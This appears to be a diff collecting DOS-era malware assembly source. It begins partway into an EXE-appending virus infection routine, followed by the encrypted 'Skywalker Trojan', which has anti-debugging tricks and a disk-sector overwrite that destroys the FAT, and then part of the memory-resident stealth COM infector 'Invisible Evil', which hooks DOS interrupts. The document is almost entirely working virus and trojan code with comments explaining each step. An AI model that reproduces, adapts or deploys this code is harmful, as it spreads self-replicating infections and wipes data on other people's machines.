mov si,OFFSET DTA1+1EH
|
||||
call CONCAT ;setup file name '\dir\filename.exe'
|
||||
dec di
|
||||
push di
|
||||
call FILE_OK ;yes - is this a good file to use?
|
||||
jnc FENC ;yes - valid file found - exit with c reset
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTEXE ;and go test it for validity
|
||||
|
||||
FEC: ;no valid file found, return with C set
|
||||
pop di
|
||||
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
||||
stc
|
||||
ret
|
||||
FENC: ;valid file found, return with NC
|
||||
pop di
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part B - Find a subdirectory
|
||||
;
|
||||
;This function searches the file path in USEFILE for subdirectories, excluding
|
||||
;the subdirectory header entries. If one is found, it returns with Z set, and
|
||||
;if not, it returns with NZ set.
|
||||
;There are two entry points here, FIRSTDIR, which does the search first, and
|
||||
;NEXTDIR, which does the search next.
|
||||
;
|
||||
FIRSTDIR:
|
||||
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
||||
push dx ;save it
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,10H ;search for a directory
|
||||
mov ah,4EH ;do search first function
|
||||
int 21H
|
||||
NEXTD1:
|
||||
pop bx ;get pointer to search table (DTA)
|
||||
or al,al ;successful search?
|
||||
jnz NEXTD3 ;no, quit with NZ set
|
||||
test BYTE PTR [bx+15H],10H ;is this a directory?
|
||||
jz NEXTDIR ;no, find another
|
||||
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
||||
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
||||
;else it was dir header entry, so fall through to next
|
||||
NEXTDIR: ;second entry point for search next
|
||||
call GET_DTA ;get proper DTA address again - may not be set up
|
||||
push dx
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
||||
|
||||
NEXTD2:
|
||||
xor al,al ;successful exit, set Z flag
|
||||
NEXTD3:
|
||||
ret ;exit routine
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
||||
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
||||
;in its own DTA, since a search at a lower level occurs in the middle of the
|
||||
;higher level search, and we don't want the higher level being ruined by
|
||||
;corrupted data.
|
||||
;
|
||||
GET_DTA:
|
||||
mov dx,OFFSET DTA2
|
||||
mov al,2BH
|
||||
mul [LEVEL]
|
||||
add dx,ax ;return with dx= proper dta offset
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
||||
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
||||
;destination (or the first character of the second string, after moved).
|
||||
;
|
||||
CONCAT:
|
||||
mov al,byte ptr es:[di] ;find the end of string 1
|
||||
inc di
|
||||
or al,al
|
||||
jnz CONCAT
|
||||
dec di ;di points to the null at the end
|
||||
push di ;save it to return to the caller
|
||||
CONCAT2:
|
||||
cld
|
||||
lodsb ;move second string to end of first
|
||||
stosb
|
||||
or al,al
|
||||
jnz CONCAT2
|
||||
pop di ;and restore di to point to end of string 1
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Function to determine whether the EXE file specified in USEFILE is useable.
|
||||
;if so return nc, else return c
|
||||
;What makes an EXE file useable?:
|
||||
; a) The signature field in the EXE header must be 'MZ'. (These
|
||||
; are the first two bytes in the file.)
|
||||
; b) The Overlay Number field in the EXE header must be zero.
|
||||
; c) There must be room in the relocatable table for NUMRELS
|
||||
; more relocatables without enlarging it.
|
||||
; d) The word VIRUSID must not appear in the 2 bytes just before
|
||||
; the initial CS:0000 of the test file. If it does, the virus
|
||||
; is probably already in that file, so we skip it.
|
||||
;
|
||||
FILE_OK:
|
||||
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
||||
jc OK_END ;error in reading the file, so quit
|
||||
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
||||
jc OK_END ;no - exit with c set
|
||||
call REL_ROOM ;is there room in the relocatable table?
|
||||
jc OK_END ;no - exit
|
||||
call IS_ID_THERE ;is id at CS:0000?
|
||||
OK_END: ret ;return with c flag set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
||||
;number is anything but zero.
|
||||
CHECK_SIG_OVERLAY:
|
||||
mov al,'M' ;check the signature first
|
||||
mov ah,'Z'
|
||||
cmp ax,WORD PTR [EXE_HDR]
|
||||
jz CSO_1 ;jump if OK
|
||||
stc ;else set carry and exit
|
||||
ret
|
||||
CSO_1: xor ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
||||
ret ;c is set if it's anything but 0
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
||||
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
||||
;
|
||||
GET_EXE_HEADER:
|
||||
mov dx,OFFSET USEFILE
|
||||
mov ax,3D02H ;r/w access open file
|
||||
int 21H
|
||||
jc RE_RET ;error opening - C set - quit without closing
|
||||
mov [HANDLE],ax ;else save file handle
|
||||
mov bx,ax ;handle to bx
|
||||
mov cx,1CH ;read 28 byte EXE file header
|
||||
mov dx,OFFSET EXE_HDR ;into this buffer
|
||||
mov ah,3FH
|
||||
int 21H
|
||||
RE_RET: ret ;return with c set properly
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines if there are at least NUMRELS openings in the
|
||||
;current relocatable table in USEFILE. If there are, it returns with
|
||||
;carry reset, otherwise it returns with carry set. The computation
|
||||
;this routine does is to compare whether
|
||||
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
||||
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
||||
;
|
||||
REL_ROOM:
|
||||
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
||||
add ax,ax
|
||||
add ax,ax
|
||||
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
||||
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
||||
RR_RET: ret ;exit with carry set properly
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This function determines whether the word at the initial CS:0000 in USEFILE
|
||||
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
||||
;it returns c reset.
|
||||
;
|
||||
IS_ID_THERE:
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
||||
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
||||
mov dx,16
|
||||
mul dx
|
||||
mov cx,dx
|
||||
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H
|
||||
mov ah,3FH
|
||||
mov bx,[HANDLE]
|
||||
mov dx,OFFSET VIDC
|
||||
mov cx,2 ;read 2 bytes into VIDC
|
||||
int 21H
|
||||
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
||||
mov ax,[VIDC]
|
||||
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
||||
clc
|
||||
jnz II_RET ;if not, then virus is not already in this file
|
||||
stc ;else it is probably there already
|
||||
II_RET: ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine makes sure file end is at paragraph boundary, so the virus
|
||||
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
||||
SETBDY:
|
||||
mov al,BYTE PTR [FSIZE]
|
||||
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
||||
jz SB_E ;all set - exit
|
||||
mov cx,10H ;no - write any old bytes to even it up
|
||||
sub cl,al ;number of bytes to write in cx
|
||||
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
||||
add WORD PTR [FSIZE],cx ;update FSIZE
|
||||
adc WORD PTR [FSIZE+2],0
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
SB_E: ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine moves the virus (this program) to the end of the EXE file
|
||||
;Basically, it just copies everything here to there, and then goes and
|
||||
;adjusts the EXE file header and two relocatables in the program, so that
|
||||
;it will work in the new environment. It also makes sure the virus starts
|
||||
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
||||
;
|
||||
INFECT:
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer, relative to beginning
|
||||
int 21H ;go to end of file
|
||||
call SETBDY ;lengthen to a paragraph boundary if necessary
|
||||
mov cx,OFFSET FINAL ;last byte of code
|
||||
xor dx,dx ;first byte of code, DS:DX
|
||||
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
||||
inc bx
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx is that number
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to 1st relocatable
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||||
mov bx,[HANDLE] ;from the EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it to relocatable REL1+1
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||||
inc bx ;at FSIZE+REL1A+1
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to place to write SP to
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||||
mov bx,[HANDLE] ;from EXE header
|
||||
mov cx,2
|
||||
mov ah,40H ;and write it where it belongs
|
||||
int 21H
|
||||
mov dx,WORD PTR [FSIZE]
|
||||
mov cx,WORD PTR [FSIZE+2]
|
||||
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||||
add bx,1 ;at FSIZE+REL2+1 on disk
|
||||
add dx,bx
|
||||
mov bx,0
|
||||
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer relavtive to start of file
|
||||
int 21H
|
||||
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||||
mov bx,[HANDLE]
|
||||
mov cx,4
|
||||
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||||
int 21H
|
||||
;done writing relocatable vectors
|
||||
;so now adjust the EXE header values
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to start of file
|
||||
int 21H
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||||
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||||
shr ax,cl
|
||||
mov bx,WORD PTR [FSIZE+2]
|
||||
and bl,0FH
|
||||
mov cl,4
|
||||
shl bl,cl
|
||||
add ah,bl
|
||||
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||||
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||||
mov bx,OFFSET FINAL ;compute new initial SS
|
||||
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
add ax,bx
|
||||
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||||
mov ax,OFFSET VIRUS ;get initial IP
|
||||
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||||
mov ax,STACKSIZE ;get initial SP
|
||||
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||||
mov dx,WORD PTR [FSIZE+2]
|
||||
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||||
mov bx,OFFSET FINAL
|
||||
add ax,bx
|
||||
xor bx,bx
|
||||
adc dx,bx ;put it in ax:dx
|
||||
add ax,200H ;and set up the new page count
|
||||
adc dx,bx ;page ct= (ax:dx+512)/512
|
||||
push ax
|
||||
mov cl,9
|
||||
shr ax,cl
|
||||
mov cl,7
|
||||
shl dx,cl
|
||||
add ax,dx
|
||||
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||||
pop ax
|
||||
and ax,1FFH ;now calculate last page size
|
||||
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||||
mov ax,NUMRELS ;adjust relocatables counter
|
||||
add WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,1CH ;and save data at start of file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||||
dec ax ;in order to calculate location of
|
||||
dec ax ;where to add relocatables
|
||||
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||||
mul bx
|
||||
add ax,WORD PTR [EXE_HDR+24];table offset
|
||||
mov bx,0
|
||||
adc dx,bx ;dx:ax=end of old table in file
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
mov bx,[HANDLE]
|
||||
mov ax,4200H ;set file pointer to table end
|
||||
int 21H
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||||
mov bx,OFFSET REL1
|
||||
inc bx ;offset of REL1
|
||||
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||||
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||||
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||||
mov bx,OFFSET REL2
|
||||
add bx,3 ;offset of REL2
|
||||
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||||
mov WORD PTR [EXE_HDR+6],ax
|
||||
mov cx,8 ;and then write 8 bytes of data in file
|
||||
mov dx,OFFSET EXE_HDR
|
||||
mov bx,[HANDLE]
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
ret ;that's it, infection is complete!
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine determines whether the reproduction code should be executed.
|
||||
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||||
;Currently, it only executes if the system time variable is a multiple of
|
||||
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||||
;executions of the program. TIMECT should be 2^n-1
|
||||
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||||
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||||
;definitely runs when this loader program is run, but after that, the time must
|
||||
;be an even multiple of TIMECT+1.
|
||||
;
|
||||
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||||
;
|
||||
SHOULDRUN:
|
||||
xor ah,ah ;zero ax to start, set z flag
|
||||
SR1: ret ;this gets replaced by NOP when program runs
|
||||
int 1AH
|
||||
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||||
ret ;return with z flag set if it is, else nz set
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||||
;it is redundant after the initial load
|
||||
SETSR:
|
||||
mov al,90H ;NOP code
|
||||
mov BYTE PTR SR1,al ;put it in place of RET above
|
||||
ret ;and return
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||||
;the initial DTA in the variable OLDDTA.
|
||||
NEW_DTA:
|
||||
mov ah,2FH ;get current DTA in ES:BX
|
||||
int 21H
|
||||
mov WORD PTR [OLDDTA],bx ;save it here
|
||||
mov ax,es
|
||||
mov WORD PTR [OLDDTA+2],ax
|
||||
mov ax,cs
|
||||
mov es,ax ;set up ES
|
||||
mov dx,OFFSET DTA1 ;set new DTA offset
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where we want it
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||||
;original value.
|
||||
RESTORE_DTA:
|
||||
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||||
mov ax,WORD PTR [OLDDTA+2]
|
||||
mov ds,ax
|
||||
mov ah,1AH
|
||||
int 21H ;and tell DOS where to put it
|
||||
mov ax,cs ;restore ds before exiting
|
||||
mov ds,ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;This routine saves the original file attribute in FATTR, the file date and
|
||||
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||||
;file attribute to read/write, and leaves the file opened in read/write
|
||||
;mode (since it has to open the file to get the date and size), with the handle
|
||||
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||||
SAVE_ATTRIBUTE:
|
||||
mov ah,43H ;get file attr
|
||||
mov al,0
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
mov [FATTR],cl ;save it here
|
||||
mov ah,43H ;now set file attr to r/w
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cl,0
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov al,2 ;now that we know it's r/w
|
||||
mov ah,3DH ;we can r/w access open file
|
||||
int 21H
|
||||
mov [HANDLE],ax ;save file handle here
|
||||
mov ah,57H ;and get the file date and time
|
||||
xor al,al
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov [FTIME],cx ;and save it here
|
||||
mov [FDATE],dx ;and here
|
||||
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||||
mov WORD PTR [FSIZE+2],ax ;search routine
|
||||
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||||
mov WORD PTR [FSIZE],ax
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Restore file attribute, and date and time of the file as they were before
|
||||
;it was infected. This also closes the file
|
||||
REST_ATTRIBUTE:
|
||||
mov dx,[FDATE] ;get old date and time
|
||||
mov cx,[FTIME]
|
||||
mov ah,57H ;set file date and time to old value
|
||||
mov al,1
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov ah,3EH
|
||||
mov bx,[HANDLE] ;close file
|
||||
int 21H
|
||||
mov cl,[FATTR]
|
||||
xor ch,ch
|
||||
mov ah,43H ;Set file attr to old value
|
||||
mov al,1
|
||||
mov dx,OFFSET USEFILE
|
||||
int 21H
|
||||
ret
|
||||
|
||||
FINAL: ;last byte of code to be kept in virus
|
||||
|
||||
VSEG ENDS
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Virus stack segment
|
||||
|
||||
VSTACK SEGMENT PARA STACK
|
||||
db STACKSIZE dup (?)
|
||||
VSTACK ENDS
|
||||
|
||||
END VIRUS ;Entry point is the virus
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
; INTRVIEW.ASM -- Skywalker Trojan
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Serpico
|
||||
|
||||
virus_type equ 3 ; Trojan Horse
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
mov ax,0002h ; First argument is 2
|
||||
mov cx,0010h ; Second argument is 16
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
|
||||
mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "Please wait, interview is load"
|
||||
db "ing. You've been infected with"
|
||||
db "the Skywalker Trojan. HaHaHa"
|
||||
db "YoDa - AlLiAnCe"
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: xor word ptr [si],06734h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,331 @@
|
||||
; Virusname : Invisible Evil
|
||||
; Virusauthor: Metal Militia
|
||||
; Virusgroup : Immortal Riot
|
||||
; Origin : Sweden
|
||||
;
|
||||
; It's a memory resident, stealth, infector of com files.
|
||||
; It check for two nops a bit after the jmp to see if it's already
|
||||
; infected or not, and to stealth it, it'll check the seconds.
|
||||
; No destructive routine included in this version, perhaps to come(?)
|
||||
; Um!.. well, enjoy Insane Reality issue #4!
|
||||
; I think that's all for now, outa here..
|
||||
;
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
; INVISIBLE EVIL!
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
|
||||
virus segment
|
||||
assume cs:virus,ds:virus,es:nothing
|
||||
|
||||
org 100h
|
||||
start: db 0E9h,02,00,90h,90h ; Jmp to vstart
|
||||
|
||||
vstart equ $
|
||||
call code_start ; call codie_startie
|
||||
code_start:
|
||||
pop si
|
||||
sub si,offset code_start ; so we can use the lea command etc
|
||||
jmp code_continue
|
||||
|
||||
db ' Our past is ' ; Lil' poem (?)
|
||||
db ' our future! ' ; of mine
|
||||
|
||||
code_continue:
|
||||
mov bp,si ; Now, put bp in si instead so bp's used
|
||||
jmp load ; Jmp and go resident
|
||||
|
||||
old_21 dd ? ; Old int21 interrupt saved here
|
||||
|
||||
new_21: ; Our own, new one int21
|
||||
cmp ax,4b00h ; Is a file being executed
|
||||
je exec1 ; If so, damn it! INFECT!
|
||||
|
||||
dir_thang:
|
||||
cmp ah,11h ; Find first
|
||||
je hide_size ; Use stealth
|
||||
cmp ah,12h ; Find next
|
||||
je hide_size ; Use stealth
|
||||
cmp ax,3030h ; Another copy trying to go resident?
|
||||
jne do_old ; If not, do the old int21 thang
|
||||
mov bx,3030h ; Show that we're already resident
|
||||
do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21
|
||||
exec1: jmp exec ; Try to infect
|
||||
do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old
|
||||
ret ; But return back
|
||||
|
||||
hide_size:
|
||||
pushf
|
||||
push cs
|
||||
call do_dir ; get FCB (current)
|
||||
cmp al,00h ; Is DIR being used (?)
|
||||
jz undocumented_get_FCB ; If so, go on
|
||||
jmp dir_error ; If not, get the fuck
|
||||
; outa this place man
|
||||
undocumented_get_FCB:
|
||||
push ax ; push
|
||||
push bx ; push
|
||||
push es ; push (gaak! no pops)
|
||||
mov ah,51h ; get FCB (location)
|
||||
int 21h ; figure it out
|
||||
mov es,bx ; get FCB (info)
|
||||
cmp bx,es:[16h] ; check it
|
||||
je fix_it_up ; if so, move on
|
||||
jmp not_inf
|
||||
|
||||
fix_it_up:
|
||||
mov bx,dx ; fixup
|
||||
mov al,[bx] ; some
|
||||
push ax ; shit
|
||||
mov ah,2fh ; get the DTA
|
||||
int 21h ; yeah, you do that
|
||||
pop ax ; atlast, pop me babe
|
||||
inc al ; check FCB (extended)
|
||||
jz add_it ; ok, move on
|
||||
jmp normal_fcb ; jmp normal_fcb
|
||||
|
||||
add_it:
|
||||
add bx,7h ; yes, add it.. go ahead
|
||||
normal_fcb:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1fh
|
||||
xor al,01h ; are the file's seconds
|
||||
jz go_on_and_do_it_strong ; equal to "2"?
|
||||
jmp not_inf ; If so, outa here
|
||||
|
||||
go_on_and_do_it_strong:
|
||||
and byte ptr es:[bx+17h],0e0h ; subtract the size
|
||||
sub es:[bx+1dh],(vend-vstart) ; how much? (*.*)
|
||||
sbb es:[bx+1fh],ax ; yet another stealthed
|
||||
not_inf:pop es ; we will..
|
||||
pop bx ; we will..
|
||||
pop ax ; pop you! pop you!
|
||||
|
||||
dir_error:
|
||||
iret ; return to the one who
|
||||
; called this thang
|
||||
exec:
|
||||
push ax ; push the stuff needed
|
||||
push bx ; (as normally)
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
|
||||
infect:
|
||||
mov ax,3d02h ; Open the file being
|
||||
int 21h ; executed do that!
|
||||
jc fuckitall ; If error, get the fuck
|
||||
; out!
|
||||
|
||||
xchg ax,bx ; or.. mov bx,ax
|
||||
|
||||
push ds ; pusha
|
||||
push cs ; push
|
||||
pop ds ; pop!
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
mov dx,(buffer-vstart) ; put in our buffer
|
||||
mov cx,5h ; how much to read
|
||||
int 21h ; do that
|
||||
jc fuckitall ; If error, fuck it!
|
||||
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE?
|
||||
je fuckitall ; If so, outa here..
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form?
|
||||
je fuckitall ; (can be MZ or ZM)
|
||||
; If so, outa here
|
||||
cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it
|
||||
je fuckitall ; infect? If so,
|
||||
; outa here
|
||||
jmp next ; Move on..
|
||||
|
||||
fuckitall:
|
||||
jmp homey2 ; Something screwed,
|
||||
; outa dis thang..
|
||||
next:
|
||||
|
||||
mov ax,5700h ; Get date/time
|
||||
int 21h ; int me baaaabe!
|
||||
|
||||
mov word ptr cs:[(old_time-vstart)],cx ; save time
|
||||
mov word ptr cs:[(old_date-vstart)],dx ; save date
|
||||
|
||||
mov ax,4202h ; ftpr to end
|
||||
mov cx,0 ; get ftpr (filesize)
|
||||
cwd ; or.. xor dx,dx
|
||||
int 21h
|
||||
jc fuckitall ; if error, fuck it!
|
||||
mov cx,ax ; mov cx to ax
|
||||
sub cx,3 ; for the jmp
|
||||
jmp save_rest_of_len
|
||||
db ' [INVISIBLE EVIL!] (c) Metal Militia/Immortal Riot '
|
||||
|
||||
save_rest_of_len:
|
||||
mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,(vend-vstart) ; the virus
|
||||
cwd ; from start
|
||||
int 21h ; atlast the fun part
|
||||
jnc fpointer ; no error(s), go on
|
||||
jc homey ; fuck it!
|
||||
|
||||
fpointer:
|
||||
mov ax,4200h ; move file pointer
|
||||
mov cx,0 ; to the beginning
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
|
||||
mov ah,40h ; write the JMP the
|
||||
mov cx, 5 ; the file (5 bytes)
|
||||
mov dx,(jump_add-vstart) ; offset jump thang
|
||||
int 21h
|
||||
|
||||
jc homey ; if error, fuck it!
|
||||
|
||||
mov ax,5701h ; restore old
|
||||
mov word ptr cx,cs:[(old_time-vstart)] ; date/time
|
||||
mov word ptr dx,cs:[(old_date-vstart)]
|
||||
|
||||
and cl,0e0H ; chance the file's
|
||||
inc cl ; seconds to "2" for
|
||||
int 21h ; stealth "marker"
|
||||
|
||||
|
||||
mov ah,3eh ; close thisone
|
||||
int 21h
|
||||
|
